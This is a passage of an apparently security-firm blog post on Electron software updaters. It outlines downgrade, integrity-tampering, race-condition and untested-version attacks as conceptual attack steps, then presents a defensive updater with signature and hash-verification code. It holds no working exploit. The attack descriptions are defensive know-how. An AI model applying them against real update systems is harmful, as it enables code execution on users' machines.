&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;updateElectronApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;UpdateSourceType&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;update-electron-app&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;updateElectronApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;updateSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;UpdateSourceType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;StaticStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;baseUrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`https://my-bucket.s3.amazonaws.com/my-app-updates/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This module builds on top of Electron’s autoUpdater, providing a higher-level interface:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;nx&quot;&gt;autoUpdater&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setFeedURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;feedURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;requestHeaders&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;serverType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;electron-updater&quot;&gt;electron-updater&lt;/h3&gt;

&lt;p&gt;The second solution is using &lt;a href=&quot;https://www.electron.build/index.html&quot;&gt;Electron-Builder&lt;/a&gt;’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;electron-updater&lt;/code&gt; library, which offers a more integrated approach for managing application updates. When the application is built, a release file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;latest.yml&lt;/code&gt; is generated, containing metadata about the latest version. These files are then uploaded to the configured distribution target.&lt;/p&gt;

&lt;p&gt;The developer is responsible for integrating the updater into the application lifecycle and configuring the update workflow.&lt;/p&gt;

&lt;h3 id=&quot;differences-between-autoupdater-and-electron-updater&quot;&gt;Differences between “autoUpdater” and “electron-updater”&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Feature&lt;/th&gt;
      &lt;th&gt;Electron Official (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autoUpdater&lt;/code&gt;)&lt;/th&gt;
      &lt;th&gt;Electron-Builder (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;electron-updater&lt;/code&gt;)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Publication server requirement&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Requires self-hosted update endpoints&lt;/td&gt;
      &lt;td&gt;Uses built-in providers (e.g. GitHub Releases)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Code signature validation&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;macOS only&lt;/td&gt;
      &lt;td&gt;macOS and Windows (custom and OS validation)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Metadata and artifact management&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Manual upload of metadata and artifacts required&lt;/td&gt;
      &lt;td&gt;Automatically generates and uploads release metadata and artifacts&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Staged rollouts&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Not natively supported&lt;/td&gt;
      &lt;td&gt;Natively supported&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Supported providers&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Custom HTTP(S) only&lt;/td&gt;
      &lt;td&gt;Multiple providers (GitHub Releases, Amazon S3, and generic HTTP servers)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Configuration complexity&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Higher, especially with a custom server&lt;/td&gt;
      &lt;td&gt;Minimal configuration&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Cross-platform compatibility&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Platform-specific tools (Squirrel.Mac, Squirrel.Windows)&lt;/td&gt;
      &lt;td&gt;Unified cross-platform support (Windows, macOS, Linux)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Now that we have a clear picture of the software update mechanisms available in ElectronJS today, we can shift our focus to two specific threats that are not mitigated by any of the existing open-source solutions. It is worth noting that most of the considerations discussed here are not specific to ElectronJS itself, but apply more broadly to software updaters for desktop applications in general.&lt;/p&gt;

&lt;p&gt;At the core of these issues lies a fundamental limitation of modern operating systems: the lack of a reliable, built-in mechanism to fully validate the integrity of the software currently running on the system. While macOS, thanks to its relatively closed ecosystem, does provide native capabilities such as code signing and notarization to help verify software integrity at runtime, this is not the case on Windows. As a result, Windows applications cannot rely on the operating system alone to assert that the updater or the application binary has not been tampered with.&lt;/p&gt;

&lt;p&gt;Because of this gap, software updaters must implement additional safeguards and workarounds to compensate for the missing integrity guarantees. These compensating controls are often complex, &lt;a href=&quot;https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html&quot;&gt;error-prone&lt;/a&gt;, and inconsistently applied across projects, which ultimately leaves room for entire classes of attacks that remain unaddressed even in the most popular desktop applications.&lt;/p&gt;

&lt;h2 id=&quot;the-missing-threats&quot;&gt;The Missing Threats&lt;/h2&gt;

&lt;p&gt;In all software updater implementations, the following assets are considered critical and must be protected:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Update Binary&lt;/em&gt;: The new version of the application to be installed&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Update Manifest&lt;/em&gt;: Contains metadata such as version number, hashes, and file locations&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Signing Keys&lt;/em&gt;: Cryptographic keys used to sign update binaries and manifests&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Distribution Channel&lt;/em&gt;: The method used to deliver updates to the client (e.g., a dedicated update server, an S3 bucket, or a CDN).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this post, we focus only on the threats that are not mitigated by the default ElectronJS software update mechanisms. In fact, given the absence or limited capabilities around software integrity checks at the OS level, the following threats remain unaddressed:&lt;/p&gt;

&lt;h3 id=&quot;attacks-summary&quot;&gt;Attacks Summary&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Threat&lt;/th&gt;
      &lt;th&gt;Attack Vector&lt;/th&gt;
      &lt;th&gt;Threat Actor&lt;/th&gt;
      &lt;th&gt;Potential Impact&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Downgrade (Rollback) Attack&lt;/td&gt;
      &lt;td&gt;Manipulation of update manifest or version metadata to serve older releases&lt;/td&gt;
      &lt;td&gt;Malicious third party, MITM (Man-in-The-Middle), compromised server&lt;/td&gt;
      &lt;td&gt;Reintroduction of known vulnerabilities&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Integrity Attack&lt;/td&gt;
      &lt;td&gt;Tampering with update binaries, installers, or metadata&lt;/td&gt;
      &lt;td&gt;MITM (Man-in-The-Middle), compromised CDN, update server, or build pipeline&lt;/td&gt;
      &lt;td&gt;Arbitrary code execution&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Race Condition Attack&lt;/td&gt;
      &lt;td&gt;Replacing verified update files between verification and installation&lt;/td&gt;
      &lt;td&gt;Local attacker with system access&lt;/td&gt;
      &lt;td&gt;Execution of malicious code, privilege escalation&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Untested Version Attack&lt;/td&gt;
      &lt;td&gt;Serving signed but non-production (alpha/beta/dev) builds via update channel&lt;/td&gt;
      &lt;td&gt;Malicious third party, MITM (Man-in-The-Middle), insider threat&lt;/td&gt;
      &lt;td&gt;Exposure to unreviewed features, debug functionality, or new vulnerabilities&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h4 id=&quot;1--downgrade-rollback-attack&quot;&gt;1- Downgrade (Rollback) Attack&lt;/h4&gt;

&lt;p&gt;A downgrade attack occurs when an attacker forces the application to install an older, vulnerable version instead of the latest secure release. This may happen by compromising the update server, or intercepting via a MITM (Man-in-The-Middle) attack and modifying the update manifest to offer a lower version.&lt;/p&gt;

&lt;p&gt;The attacker’s objective is to reintroduce previously fixed vulnerabilities by deploying an outdated version of the application. Once installed, the attacker can exploit these known weaknesses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Steps:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The attacker manipulates the update mechanism to force the application to download and install an older, vulnerable version (Downgrade Attack).&lt;/li&gt;
  &lt;li&gt;A version is selected where known security flaws remain unpatched.&lt;/li&gt;
  &lt;li&gt;After installation, the attacker exploits a known vulnerability to compromise the system.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/downgrade-diagram.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h4 id=&quot;2--integrity-attack&quot;&gt;2- Integrity Attack&lt;/h4&gt;

&lt;p&gt;An integrity attack involves the unauthorized modification of update artifacts, such as binaries, installation packages, or metadata, either at rest or during transmission. The attacker’s goal is to have the system execute altered code while believing it originates from a trusted source.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Steps:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The attacker modifies the update package or metadata through a compromised distribution channel (e.g., CDN, update server, or build pipeline), or via a MITM attack in the absence of proper transport security.&lt;/li&gt;
  &lt;li&gt;The client downloads the modified update, assuming it is legitimate.&lt;/li&gt;
  &lt;li&gt;The altered package is installed and executed.&lt;/li&gt;
  &lt;li&gt;The attacker gains arbitrary code execution.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/integrity-diagram.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h4 id=&quot;3--race-condition-attack&quot;&gt;3- Race Condition Attack&lt;/h4&gt;

&lt;p&gt;A race condition attack occurs when multiple processes access and modify shared resources concurrently, and the final outcome depends on the timing of those operations. In the context of software updates, this may allow an attacker with local access to replace or modify update files between verification and installation.&lt;/p&gt;

&lt;p&gt;This attack requires the attacker to have access to the victim’s machine. While this may appear unlikely, multi-user systems or shared environments make this a realistic threat.&lt;/p&gt;

&lt;p&gt;A practical case occurs when the attacker has access to the temporary directory where the update files are stored. This attack is possible whenever signature verification and update application are not performed atomically on the same file descriptor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Steps:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The application downloads the update to a temporary directory.&lt;/li&gt;
  &lt;li&gt;The update’s signature and hash are verified.&lt;/li&gt;
  &lt;li&gt;Before installation, the attacker replaces the verified file with a malicious one.&lt;/li&gt;
  &lt;li&gt;The application attempts to apply the modified update.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/race-condition-diagram.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h4 id=&quot;4--untested-version-attack&quot;&gt;4- Untested Version Attack&lt;/h4&gt;

&lt;p&gt;An untested version attack occurs when an attacker causes the client to install a development, pre-production, or experimental version of the application (e.g., alpha or beta) instead of a stable production release. This typically occurs when development and production releases are not cryptographically separated, for example when the same signing keys or update channels are shared across environments.&lt;/p&gt;

&lt;p&gt;Although such versions may be signed, they often contain unreviewed features, experimental dependencies, or debug functionality that introduces new vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Steps:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The attacker intercepts the update request.&lt;/li&gt;
  &lt;li&gt;A signed but non-production version is served.&lt;/li&gt;
  &lt;li&gt;The client installs the update without distinguishing between environments.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/untested-version-diagram.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;This behavior makes the client fail to distinguish between production and non-production releases at a cryptographic or policy level.&lt;/p&gt;

&lt;h2 id=&quot;safeupdater&quot;&gt;SafeUpdater&lt;/h2&gt;

&lt;p&gt;Our &lt;a href=&quot;https://github.com/doyensec/ElectronSafeUpdater&quot;&gt;SafeUpdater&lt;/a&gt; is built around a set of core security mechanisms designed to protect the update process against the impact of attacks such as downgrade attacks, integrity violations, man-in-the-middle interference, and local race conditions. Each mechanism addresses a specific set of threats identified in the threat model.&lt;/p&gt;

&lt;p&gt;The updater is designed to integrate with &lt;a href=&quot;https://github.com/electron-userland/electron-builder&quot;&gt;Electron Builder&lt;/a&gt; for application builds; however, this integration is optional, as the manifest can be generated independently.&lt;/p&gt;

&lt;h3 id=&quot;1-ed25519-signature-verification&quot;&gt;1. Ed25519 Signature Verification&lt;/h3&gt;

&lt;p&gt;All update components are cryptographically signed using &lt;strong&gt;Ed25519&lt;/strong&gt;, a modern elliptic-curve signature known for its strong security guarantees. By verifying signatures using a public key embedded in the application, SafeUpdater ensures that update manifests and binaries are from a trusted source and haven’t been tampered with. Any modification to a signed file makes the signature check fail, causing the update to be rejected.&lt;/p&gt;

&lt;p&gt;The deterministic message signing is composed of:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;SHA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This prevents unauthorized downgrade attacks by cryptographically binding the update to a specific version identifier.&lt;/p&gt;

&lt;p&gt;Once the update asset is received, a signing message is generated. This message will later be used to verify the corresponding signature file:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;generateMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;updatePackagePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_getFileHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;updatePackagePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;messageString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;messageString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After generating the message, it is compared against the signature provided alongside the update file. The verification uses the public key associated with the application’s signing infrastructure. If the signature does not match, the update is rejected, preventing malicious modifications from being applied:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;publicKeyBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;messageBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;signatureBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;signatureBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;messageBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;publicKeyBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-sha-512-integrity-checks&quot;&gt;2. SHA-512 Integrity Checks&lt;/h3&gt;

&lt;p&gt;In addition to signature verification, SafeUpdater checks the SHA-512 hash on the downloaded update binaries. The expected hash is stored in the signed update manifest and compared against the hash of the downloaded file. This layered approach ensures end-to-end integrity, protects against accidental corruption as well as intentional binary tampering during transmission or storage.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Verify file integrity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;computedHash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sha512&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fileContents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;computedHash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;expectedSHA512&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Integrity check failed&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;3-immutable-version-manifests&quot;&gt;3. Immutable Version Manifests&lt;/h3&gt;

&lt;p&gt;Update metadata is distributed through an immutable version manifest that describes available releases, including version numbers, file locations, and cryptographic hashes. Since these manifests are signed, this prevents manifest tampering if the attacker is trying to reintroduce vulnerable versions or pointing them to a malicious location.&lt;/p&gt;

&lt;h3 id=&quot;4-secure-temporary-file-handling&quot;&gt;4. Secure Temporary File Handling&lt;/h3&gt;

&lt;p&gt;To mitigate local attacks such as race conditions (TOCTOU vulnerabilities), SafeUpdater stores temporary update files in restricted directories with owner-only permissions. Verification and installation operate on the same file path, which limits opportunities for tampering. However, these steps are not fully atomic (for example, they do not verify and install using the same file descriptor), so complete elimination of time-of-check to time-of-use risks is not guaranteed.&lt;/p&gt;

&lt;h2 id=&quot;update-flow-overview&quot;&gt;Update Flow Overview&lt;/h2&gt;

&lt;p&gt;SafeUpdater ensures secure and reliable updates for Electron applications. This update lifecycle follows a structured process from version check to installation:&lt;/p&gt;

&lt;h3 id=&quot;1-start--scheduling&quot;&gt;1. Start &amp;amp; Scheduling&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;The application schedules periodic polling for updates&lt;/li&gt;
  &lt;li&gt;An initial update check is triggered immediately on launch&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;2-checking-for-updates&quot;&gt;2. Checking for Updates&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;Fetch the manifest from the server&lt;/li&gt;
  &lt;li&gt;Verify the manifest’s signature to ensure authenticity&lt;/li&gt;
  &lt;li&gt;Parse available versions, and if downgrades are allowed, show a version selection UI&lt;/li&gt;
  &lt;li&gt;Fetch the metadata for the selected version&lt;/li&gt;
  &lt;li&gt;Download and verify the metadata signature&lt;/li&gt;
  &lt;li&gt;Parse metadata to extract files, SHA-512 hashes and vendor-specific information&lt;/li&gt;
  &lt;li&gt;Return the update information or determine no update is needed&lt;/li&gt;
  &lt;li&gt;If explicitly enabled by the developer for operational or recovery purposes, a controlled version selection UI is presented to allow authorized downgrades&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3-downloading-updates&quot;&gt;3. Downloading Updates&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Check the cache for existing update files&lt;/li&gt;
  &lt;li&gt;Verify cached files using SHA-512 hashes&lt;/li&gt;
  &lt;li&gt;If needed, download update files from the server:
    &lt;ul&gt;
      &lt;li&gt;Update package (ZIP or DMG)&lt;/li&gt;
      &lt;li&gt;Signature file&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Write files to a temporary directory with write permissions only for the owner&lt;/li&gt;
  &lt;li&gt;Return update file path and signature for verification&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;4-verifying-signatures&quot;&gt;4. Verifying Signatures&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Load the public key from configuration&lt;/li&gt;
